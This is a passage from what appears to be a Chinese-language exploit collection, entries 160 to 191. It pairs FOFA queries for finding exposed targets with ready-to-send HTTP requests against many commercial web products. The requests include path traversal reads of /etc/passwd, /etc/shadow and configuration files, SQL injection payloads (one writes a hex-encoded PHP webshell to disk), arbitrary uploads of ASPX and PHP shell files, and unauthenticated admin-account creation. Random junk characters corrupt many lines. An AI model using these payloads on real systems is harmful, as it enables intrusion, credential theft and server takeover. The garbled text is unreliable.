2 X- l/ ?( E# W1 ^</jobUpload>
</soap:Body>
</soap:Envelope>


& l& c: S6 a& p, M! Q/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
' [; u. i1 w& J- ~1 O# T" SGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
6 x# u" s3 E$ A% A- M, J% }# ^' h0 KUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
1 ]% W4 }: `/ @3 }Accept: */*
+ v# z& Q" m$ K5 @Accept-Language: en
7 _! Z% E3 ^! @* i. DAccept-Encoding: gzip
5 i5 k" F3 a7 k- [* Q# S

2 [# Z$ I% q9 L161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
# Z1 {9 J5 N7 J第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
9 T7 g4 E/ s5 m5 Z/ KConnection: close
; V; |  g) W2 z5 j4 R. O) FContent-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
1 J3 ^1 T, P' a4 h9 |<soap:Envelope xmlns:xsi="
8 ^( `+ _+ a& Dhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
6 m3 K" g8 J8 H. @. J) O<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
2 v! ~( F. \0 [: X$ q<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
  S& `! _+ C9 U3 y% P) G</UploadResume>
</soap:Body>
</soap:Envelope>
% {2 z4 Z" G0 \$ R

http://x.x.x.x/dizxdell.aspx
; B* S3 R$ r1 n. G: y3 D
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
" n4 V( m3 q8 k/ a7 E: ^FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
% `' B9 L: Z$ b+ E; @6 ~Host: x.x.x.x
5 o3 M- j+ B9 z) ?1 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
7 o1 l8 y" w: e0 x" ^$ {% KConnection: close
' [) T- H# I& s$ ?& n. ?( o, P) {Content-Length: 583
4 s. i/ ?9 C5 FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

5 f' C) a- ^; d' P7 Q5 _------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
% D2 r+ w$ _$ b2 wContent-Type: application/octet-stream
9 F" c' D# Q/ p9 A; M
7 {* A' r1 B3 s$ t<% response.write("ujidwqfuuqjalgkvrpqy") %>
$ r; ?% n0 y2 E) q------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
, a+ g# ]5 A: X* \# M& F7 ?
3 r2 k( S' K* Nupload
( z- s; P2 X( _, Q------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
7 i1 L  @  ]" `2 m5 `9 f
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
: O2 X, w6 N  @7 \9 ?Content-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
, r6 K5 D4 r5 r7 s# Q
$ T6 ^  i8 k4 r
: a3 f+ a0 k% F# F8 Bhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
9 s* e9 D2 l4 `$ G! k2 M& Z' Q( ?
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
  [& |. n: _0 n! B# C6 u" _FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
8 A1 C$ y" E; _Host: x.x.x.x
  ]+ M# T% ~9 |' AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
" ^/ V6 S  b4 Q8 WConnection: close
Content-Length: 293
Accept: */*
8 i" R/ p9 J, v' u( B! kAccept-Encoding: gzip, deflate
8 G# H% E1 i. JAccept-Language: zh-CN,zh;q=0.9
& ?7 V; L+ _4 L  kContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
6 [& h, x' [% F+ l( J& ]Content-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
: V; S! M$ [' tContent-Disposition: form-data; name="upfile"; filename="1.php"
, ~6 `& ]+ _. z" LContent-Type: image/jpeg

, K) ^) K7 O9 B- O: a. o9 E7 |rvjhvbhwwuooyiioxega
/ C" @8 |& S1 O  t* o/ O# C------iiqvnofupvhdyrcoqyuujyetjvqgocod--

) I" o+ B( G: t" g/ ^) `2 g) {3 I
6 f2 b) M8 Y% Y( K- G, n% n164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
1 z% g* i% R/ v0 Z1 r7 dFOFA: title="智慧综合管理平台登入"
/ ~3 j8 G9 v4 A1 W  [+ JPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
& O* @; i2 l" T4 u4 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
7 W* t, R- A; ^' O, B$ L3 B8 z6 p. jConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
! O8 ^6 X5 S3 y1 O, t* r* b' @X-Requested-With: XMLHttpRequest
4 i. {& f! n! s  q" q  sAccept-Encoding: gzip
+ \2 I7 X* ~' P+ a6 d4 N
------dqdaieopnozbkapjacdbdthlvtlyl
& U1 J8 c4 d+ W4 a  bContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
. j$ Z: D% O" R8 G0 a; yContent-Type: image/jpeg
/ B4 X0 j9 t7 ^* t" ~, {
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
3 M6 m9 Y$ R5 z% ~9 d------dqdaieopnozbkapjacdbdthlvtlyl--


9 s* g4 c" s& E$ ~# b) z( d7 Vhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
; d4 \9 y  p8 \5 i: `FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

7 k( |! b" H) r6 _8 B" S+ c9 E
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
3 T/ j3 a7 m* e2 l) N- g$ R1 uHost:
0 m5 R, m% F, p6 w1 a" ~0 V! LPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! q5 {' o+ _9 c4 j2 |& oAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
' L/ r* f& s+ {. K( c2 i, kCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
2 @0 n) `) E* F% ^/ K( S9 oConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

! ~6 V+ Z* I/ t& _. E
167. 精益价值管理系统 DownLoad.aspx任意文件读取
2 F" e. }+ y$ W) ]! \. @0 n" XFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- j# G, W0 e' _  F; M9 [Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
" `6 B# |/ T0 v& A3 x% c7 j" EAccept: */*
/ R# D' i6 \2 g' c- _& o1 B- s( u* iConnection: keep-alive

) ~1 T  w, |, ~, i- _
168. 宏景EHR OutputCode 任意文件读取
! \/ \0 K$ l2 D; VFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
; f; {8 X) a& H; o0 DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
5 b( L5 y8 Y2 H1 ?( dContent-Type: application/x-www-form-urlencoded
Connection: close
6 q; R! R. x0 C' Y5 z" b
% Q' u1 ~. [: ?8 y
" e' m" j* C4 ]' ^- F  i+ R
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
+ j6 }/ j) c1 W# H/ k; MHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
2 @5 f( h7 O& h% ~' q/ ^- _4 s5 ^Accept-Encoding: gzip, deflate
Connection: close

/ v9 q# w; j) ]$ q5 `" V% Y4 _

$ l+ t+ Z2 Y1 q, Y( ^; Y( [170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
5 p# G+ w0 N3 M! CPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
1 W7 B2 ^9 @: p8 hHost: balalanengliang
% v- A! t7 W: {9 J5 n, GUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

" r" V2 _: B- h8 S; ~# ]$ ~filename=../webapps/ROOT/WEB-INF/web.xml
, q6 s  h( S9 ?' v7 u

171. 通天星CMSV6车载定位监控平台 SQL注入
2 L3 x! t% }6 i1 _9 B1 n( IFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
6 ~' V, w$ ~/ S* oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
! K- m% m( I/ \" H( AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 z  f# k" u4 s' m: Y; a  l+ G  CAccept-Encoding: gzip, deflate
Connection: close


+ d# m+ v0 R2 q; h6 z
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
# B+ H9 R* U- |3 g0 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( ^# z# q3 q' ?/ AAccept-Encoding: gzip, deflate
9 _8 f! b" ^5 Q( f7 I- K! H! GAccept: */*
Connection: keep-alive
' `+ t; {* U% _, N


$ B7 P; u: k# s6 `, b173. Check Point 安全网关任意文件读取
" t2 A1 w" t& A% }5 R' ?CVE-2024-24919
$ G9 D. n9 [$ o2 O: lFOFA：app="Check_Point-SSL-Network-Extender"
+ B2 m  o, _4 n; XPOST /clients/MyCRL HTTP/1.1
, Y) d) S  @% h" d* K( h. m, \Host: your-ip
, r" p3 [2 p6 R& @( OContent-Type: application/x-www-form-urlencoded
  P) G4 ~  c/ a# _- U
1 ], l9 c5 M8 ]1 Q( a3 daCSHELL/../../../../../../../etc/shadow

+ |1 A% J  z( E9 L
* O* p* x( _2 ^9 E- M* S
% J9 @% O; z* h) r5 F174. 金和OA C6 FileDownLoad.aspx 任意文件读取
8 W% p- ]& z1 D8 f: _7 `" S1 tFOFA：app="金和网络-金和OA"
" N! a/ S1 M& Z2 Q" }) F1 hGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
! R. [6 e+ L9 B' o* _) zHost: your-ip
) V) |1 x6 B7 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
! G& O  k) ~' u4 wAccept-Language: zh-CN,zh;q=0.9
- n3 K" g- X1 R, O% pConnection: close
: W3 G$ `% Y2 K' p$ \

& ]) O& c9 p! v4 ^% a( l
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
# U. `( u; S0 r+ HFOFA：app="金和网络-金和OA"
6 c  l* ?1 s, w4 ^6 Q0 g4 P& f" XGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
4 _6 ^1 v% P; \Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& t  n5 Y/ x, K5 G! j# U+ ?% tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
& y- ^( E  R! B" ^% eConnection: close
Upgrade-Insecure-Requests: 1
! G8 `+ {' G) k5 T. d$ j6 X

. b* H6 z% |" [4 @4 Z8 G& i176. 电信网关配置管理系统 rewrite.php 文件上传
9 M, k5 z9 m9 E3 f: q  A) e  P6 PFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
4 s% [6 A; h0 Y2 VHost: your-ip
0 ?  k: L- v1 g+ Z! K* @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
' R# ]0 R  v- L$ T% Z% u# \0 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
6 P8 ~& e8 O6 k) L4 i  FConnection: close

  q% J4 g: F+ K! R* u. v------WebKitFormBoundaryOKldnDPT
8 K$ S* X; A, @, {Content-Disposition: form-data; name="tmp_name"; filename="test.php"
5 L! C4 j& t: _) uContent-Type: image/png
+ E5 [4 n, P8 W8 O. s9 H
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
- J, x& d8 {5 U1 dContent-Disposition: form-data; name="uploadtime"
: a4 \! o* A1 ^& J  \
+ f0 D4 u9 e7 r
------WebKitFormBoundaryOKldnDPT--
) _) n" C+ [6 L0 w+ r
; ~/ {, N" w2 B  Y1 i

. A% r5 ], z! D( a' d8 I177. H3C路由器敏感信息泄露
, n# m( `* C2 l/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/ ]9 D  X6 j% S; u# H/userLogin.asp/../actionpolicy_status/../GR8300.cfg
, y; `0 x, w! Q/userLogin.asp/../actionpolicy_status/../GR5200.cfg
# D8 A+ W% S: P/userLogin.asp/../actionpolicy_status/../GR3200.cfg
; c" \( m" `. M/ B6 f/userLogin.asp/../actionpolicy_status/../GR2200.cfg
3 G; b6 L: J% z5 l/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
4 @  T4 b% i7 M+ A" E( D/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
" M# s/ z5 C0 M  P1 t) z& ~/userLogin.asp/../actionpolicy_status/../ER5200.cfg
0 H7 ]$ A, o4 Q/userLogin.asp/../actionpolicy_status/../ER5100.cfg
1 i8 I% C5 B0 c% B, D: d/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
' @0 a/ I/ r$ f2 y: `8 @/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/ U5 t# V& b) t+ s0 b6 x  T/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
$ [5 z* ]/ [: c/userLogin.asp/../actionpolicy_status/../ER3100.cfg
) t: f0 `* C! \) l6 F3 `/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

# k+ u3 }3 ~# b
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
; g9 v* w# F, w2 f! _1 B. HFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
4 Q* S, Q  ]. f( d  W1 EHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
8 T* \# d' J& T3 G3 C; l$ HContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
+ F% }" }& x& ~; O5 e; hContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
1 D( f" d' i# X: D-----------------aqutkea7vvanpqy3rh2l
: |  Y, H( U  J& o! |! W) CContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
# H7 e4 X. J" Z5 o2 i
- \3 j8 ]: @/ n: K2 h# V12234
( Q7 i3 Z6 n0 o; b! v-----------------aqutkea7vvanpqy3rh2l--
: {6 S. ^( r. a1 \! G

1 S3 @* k- d" dGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
1 ?$ }' s% i$ D0 H. D" _Host: {{Hostname}}
, s! D" w9 f; c' T. fContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=
) y1 N6 c* b" ], f- v6 y
3 D* j6 `% p- v% Y( X7 V8 e
180. 帮管客 CRM jiliyu SQL注入
3 ?1 h/ e4 ^% G& w+ bFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 [3 g+ m3 Q: v" UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ o7 g1 x1 e! t$ ^2 O5 f# M: x, u1 MAccept-Language: zh-CN,zh;q=0.9
Connection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
/ |6 B+ Q9 x$ tFOFA："PDCA/js/_publicCom.js"
6 H& n( }6 \3 f. w( W$ U/ TPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
. v7 E9 E' \; ~1 m% ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
; I* T3 c8 @1 V1 y5 BContent-Type: application/x-www-form-urlencoded


4 s8 D8 V: d4 Q! Maction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


* ^6 x8 [- i# f; ?, B182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
7 `$ _% `% \7 KFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
( S- l9 s8 ~; a* w1 {5 iAccept-Language: zh-CN,zh;q=0.9
8 Y: c7 r' k7 B: L, G( jConnection: close
Content-Type: application/x-www-form-urlencoded
6 p' ]+ X0 y8 |2 Z1 U# m  i
+ ^) p1 B- W& H3 U
username=test1234&pwd=test1234&savedays=1

9 n# R7 Y- g  S# |" j
+ P& J- j+ c" b6 y. [- P7 `183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
! G3 A0 C  ]$ G5 zGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
5 ?) H, N6 C% g* o# y- b% g$ z- _User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
- R( L1 L) B6 q- M9 g$ {) OAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


( S+ r5 o2 ]- O% {5 A; O184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
6 e3 T8 m$ F7 l. Y. yFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
: p+ l7 q7 O5 f# ]/ r# [/ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
, J! X- v- i! y+ V/ UAccept: application/xml, text/xml, */*; q=0.01
" |! [3 L3 z0 h6 C9 s8 o; _3 a# E' D6 d' `Content-Type: text/xml; charset=utf-8
& I; j2 }9 B( ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
7 i; `; l, Q: n/ K+ m7 g
% l( i, i4 n3 N, x
, H( A/ P5 L2 |: i# `insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
: M* z* i( U" ^  E# c$ R. j

185. 瑞友天翼应用虚拟化系统SQL注入
1 ]2 L  J( y: s: o6 ~. q2 n; |version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
7 B9 A- c4 A7 ~. S) DGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
+ W$ [( s' O- \7 C9 r, i

186. F-logic DataCube3 SQL注入
% _. m. q- R7 p5 [- E4 MCVE-2024-31750
1 X" _8 B+ H8 [7 n( ?F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
! @: @5 q# I6 o0 ~  UFOFA：title=="DataCube3"
( |, @/ j! m6 F% M5 }* w! i6 X2 _POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
3 A: m/ W/ }: n4 MHost: your-ip
6 s/ B) q+ ^9 a3 N8 S( CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
  W# R0 n$ [, ?2 j5 L. Y( \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
2 s7 y0 U- |/ z8 V8 p
! s( k( K- w* c: ureq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
* ?( K8 w4 N5 j( m4 z
% Q+ R( |3 C( Q) U$ f4 k
/ P- ~( v7 B& K8 @. z  K187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
) K* [5 Z1 \2 c) tContent-Type: application/x-www-form-urlencoded

0 o" e0 \/ y  w& o* P
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

  j8 n/ D) z7 }5 W! V1 R
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
/ C8 H& e: Z% M. Y/ `: XFOFA：body="/system/get_rtc_user_defined_info?site_id"
; D* x8 f; d) d  TGET /attachment?file=/etc/passwd HTTP/1.1
( K& |( \0 [% ]. h, G+ i( T9 `7 M( ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
! w, K- S- b0 M6 k
7 c0 L# T0 D  c* [2 T1 w5 T
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
5 ^( ?+ w1 Z8 z) G, v7 W+ o* N" `GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
  ^& I" k7 n: I4 [1 U/ }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) j0 w1 Y6 R6 `7 S7 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


* }2 E! o1 G. L+ a/ q190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
6 R2 S* T) y& j0 l8 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
" }& r. J0 M" x) R3 j( k, iContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
( `8 o+ g. {7 d% m: w% R+ A+ [Accept-Language: zh-CN,zh;q=0.9

+ q3 v: l  K- D1 g8 M9 u' _poi=file:///etc/passwd
9 @9 X9 y% B7 m' f1 v/ O0 m6 d7 D2 I, Y
  A) |- D/ P7 I6 \) c: k( Q
7 V7 t  \- [: N) A% {4 n5 H1 J191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
' s6 n! i9 S/ e0 LPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
